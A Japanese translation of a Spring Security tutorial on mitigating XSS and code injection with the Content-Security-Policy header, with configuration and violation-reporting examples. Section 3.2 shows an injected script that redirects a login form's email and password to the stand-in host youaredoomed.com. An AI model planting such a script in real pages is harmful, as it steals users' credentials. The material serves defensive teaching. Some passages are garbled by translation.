1. 概要

クロスサイトスクリプティングまたはXSS攻撃は、最も一般的なサイバー攻撃のトップ10に一貫してランク付けされています。 XSS攻撃は、Webサーバーがユーザーの悪意のある入力を検証またはエンコードせずに処理し、ページにレンダリングしたときに発生します。 XSS攻撃と同様に、コードインジェクションとクリックジャッキングは、ユーザーデータを盗み、それらを偽装することにより、Webアプリケーションに大混乱を引き起こします。

このチュートリアルでは、 Content-Security-Policy ヘッダーを使用して、SpringセキュリティベースのWebアプリケーションでのコードインジェクションリスクを軽減する方法を学びましょう。

2. コンテンツセキュリティポリシー

コンテンツセキュリティポリシー(CSP)は、最新のブラウザでの XSS クリックジャッキングなどのコードインジェクション攻撃を大幅に削減するHTTP応答ヘッダーです。

Webサーバーは、ブラウザーがContent-Security-Policyヘッダーでレンダリングできるリソースの許可リストを指定します。 これらのリソースは、CSS、Javascript、画像など、ブラウザがレンダリングするものであれば何でもかまいません。

このヘッダーの構文は次のとおりです。

Content-Security-Policy: <directive>; <directive>; <directive> ; ...

さらに、このポリシーをHTMLページの一部として設定できます。 タグ:

<meta http-equiv="Content-Security-Policy" content="<directive>;<directive>;<directive>; ...">

さらに、これらのディレクティブのそれぞれには、複数の値を持つキーが含まれています。 複数のディレクティブがあり、それぞれがセミコロン(;)で区切られている場合があります。

Content-Security-Policy: script-src 'self' https://baeldung.com; style-src 'self';

この場合、2つのディレクティブ(script-srcstyle-src)があり、ディレクティブ script-src には2つの値( ‘ self’およびhttps://baeldung.com)。

3. 脆弱性のデモンストレーション

ここで、XSSとコードインジェクションの脆弱性がどれほど深刻になる可能性があるかの例を見てみましょう。

3.1. ログインフォーム

通常、Webアプリケーションのセッションタイムアウト時にユーザーをログインページにリダイレクトします。 また、標準のログインフォームには、ユーザー名/パスワードフィールドと送信ボタンがあります。

<span> Session time out. Please login.</span>
<form id="login" action="/login">
    <input type="email" class="form-control" id="email">
    <input type="password" class="form-control" id="password">
    <button type="submit">Login</button>
</form>

3.2. コードインジェクション

ユーザーは、ユーザー入力を提供しながら、フォームフィールドから疑わしいコードを挿入できます。 たとえば、登録フォームでユーザー名を受け入れるテキストボックスを想定します。

ユーザー名の代わりに、ユーザーは と入力してフォームを送信できます。 その後、フォームにユーザー名が表示されると、スクリプトが実行されます(この場合はメッセージを警告します)。 スクリプトは、より深刻な害を引き起こす可能性のある外部スクリプトをロードすることさえできます。

同様に、検証が不十分なフォームフィールドがあると仮定します。 この場合も、ユーザーはこれを悪用して、悪意のあるJavascriptコードを DOM(ドキュメントオブジェクトモデル)に挿入します。

<span> Session time out. Please login.</span>
<form id="login" action="/login">
    <input type="email" class="form-control" id="email">
    <input type="password" class="form-control" id="password">
    <button type="submit">Login</button> 
</form>
<script>
    let form= document.forms.login;
    form.action="https://youaredoomed.com:9090/collect?u="+document.getElementById('email').value
      +"&p="+document.getElementById('password').value;
</script>

この挿入されたJavascriptコードは、ログインボタンをクリックすると、ユーザーを悪意のあるサイトにリダイレクトします。

疑いを持たないユーザーがフォームを送信すると、資格情報が公開された状態でhttps://youaredoomed.comにリダイレクトされます。

3.3. デモ

この脆弱性の実際を見てみましょう。

通常、セッションがタイムアウトした後、サーバーはユーザーをログインページにリダイレクトして、資格情報を入力します。 ただし、挿入された悪意のあるコードは、ユーザーの資格情報とともに、ユーザーを意図しないサイトにリダイレクトします。

[IE9の場合]> <![endif] ビデオプレーヤー

メディアエラー:フォーマットがサポートされていないか、ソースが見つかりません

ファイルのダウンロード:https://www.baeldung.com/wp-content/uploads/2021/12/csp.mp4?_ = 1

00:00
00:00
00:00

4. 春のセキュリティ

このセクションでは、これらのコードインジェクションの脆弱性を軽減する方法について説明します。

4.1. HTML metaタグ

前の例でContent-Security-Policyヘッダーを追加すると、悪意のあるサーバーへのフォームの送信がブロックされます。 それでは、このヘッダーを使用して追加しましょう >タグを付けて動作を確認します。

<meta http-equiv="Content-Security-Policy" content="form-action 'self';">

上記のmetaタグを追加すると、ブラウザがフォームを他のオリジンに送信できなくなります。

meta タグは、XSSおよびコードインジェクション攻撃を軽減できますが、機能が制限されています。 たとえば、Content-Security-Policy違反を報告するためにmetaタグを使用することはできません。

今後は、 Spring Security の機能を利用して、 Content-Security-Policy ヘッダーを設定することで、これらのリスクを軽減しましょう。

4.2. Mavenの依存関係

まず、SpringセキュリティSpringWebの依存関係をpom.xmlに追加しましょう。

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
    <version>2.7.2</version>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <version>2.7.2</version>
</dependency>

4.3. 構成

次に、 WebSecurityConfigurerAdapter を拡張して、Springセキュリティ構成を定義しましょう。

@Configuration
public class SecurityConfiguration extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
          .headers()
          .xssProtection()
          .and()
          .contentSecurityPolicy("form-action 'self'");
    }
}

ここでは、フォームアクションを同じオリジンに制限するためにcontentSecurityPolicyを宣言しました。

4.4. Content-Security-Policy応答ヘッダー

必要な設定が整ったら、Springセキュリティが提供するセキュリティを確認しましょう。 このために、ブラウザの開発者ツールを開き(F12または同様のキーを押して)、ネットワークタブをクリックして、URL http:// localhost:8080を開きます。

次に、フォームに記入して送信します。

Content-Security-Policyヘッダーを配置すると、ブラウザーは送信要求をブロックし、資格情報を危険にさらすリスクを軽減します。

同様に、さまざまなディレクティブをサポートするようにSpringSecurityを構成できます。 たとえば、このコードは、同じオリジンからのみスクリプトをロードするようにブラウザを指定します。

.contentSecurityPolicy("script-src 'self'");

同様に、同じオリジンとsomecdn.css.comからのみCSSをダウンロードするようにブラウザーに指示できます。

.contentSecurityPolicy("style-src 'self' somecdn.css.com");

さらに、Content-Security-Policyヘッダーで任意の数のディレクティブを組み合わせることができます。 たとえば、CSS、JS、およびフォームアクションを制限するには、次のように指定できます。

.contentSecurityPolicy("style-src 'self' somecdn.css.com; script-src 'self'; form-action 'self'")

4.5. 報告

悪意のあるコンテンツをブロックするようにブラウザに命令する以外に、サーバーはブラウザにブロックされたコンテンツのレポートを送信するように要求できます。 それでは、 report-uri ディレクティブをブラウザーの他のディレクティブと組み合わせて、コンテンツがブロックされるたびにPOSTを送信しましょう。

ブラウザは、report-uriで定義されたURLに以下のコンテンツを投稿します。

{
    "csp-report": {
        "blocked-uri": "",
        "document-uri": "",
        "original-policy": "",
        "referrer": "",
        "violated-directive": ""
    }
}

したがって、ブラウザから送信されたこの違反レポートを受信するAPIを定義し、説明と明確さのためにリクエストをログに記録する必要があります。

ディレクティブreport-uriはreport-toを優先して廃止されましたが、ほとんどのブラウザーは現在のようにreport-toをサポートしていないことに注意してください。 したがって、両方を使用しますレポート-uri そしてそのに報告するレポートのディレクティブ。

まず、Springセキュリティ構成を更新しましょう。

String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"https://localhost:8080/report\"}]}";
http
  .csrf().disable()
  .authorizeRequests()
  .antMatchers("/**").permitAll().and()
  .headers().addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
  .xssProtection()
  .and()
  .contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");

最初に、report-toグループをcsp-violation-reportで定義し、エンドポイントを関連付けました。 次に、 .contentSecurityPolicyの一部として、このグループ名をreport-toディレクティブの値として使用しました。

ここで、ブラウザでページを開くと、次のように表示されます。

次に、フォームに記入して、ログインボタンをクリックします。 予想どおり、ブラウザはリクエストをブロックし、レポートを送信します。 サーバーコンソールには、次のようなログがあります。

Report: {"csp-report":{"blocked-uri":"https://youaredoomed.com:9090/[email protected]&p=password","document-uri":"https://localhost:8080/","original-policy":"form-action 'self'; report-uri https://localhost:8080/report","referrer":"","violated-directive":"form-action"}}

JSONをフォーマットした後の同じレポートは次のとおりです。

{
    "csp-report": {
        "blocked-uri": "https://youaredoomed.com:9090/[email protected]&p=password",
	"document-uri": "https://localhost:8080/",
	"original-policy": "form-action 'self'; report-uri https://localhost:8080/report",
	"referrer": "",
	"violated-directive": "form-action"
    }
}

5. 結論

この記事では、クリックジャッキング、コードインジェクション、XSS攻撃からWebアプリケーションを保護する方法を見てきました。

これらの攻撃からの完全な保護はありませんが、Content-Security-Policyヘッダーはこれらの攻撃のほとんどを軽減するのに役立ちます。 特に、現在のところ、ほとんどの最新のブラウザはこのヘッダーを完全にはサポートしていません。 したがって、堅固なセキュリティの原則と標準を使用してアプリケーションを設計および構築することが重要です。

いつものように、完全なソースコードはGitHubから入手できます。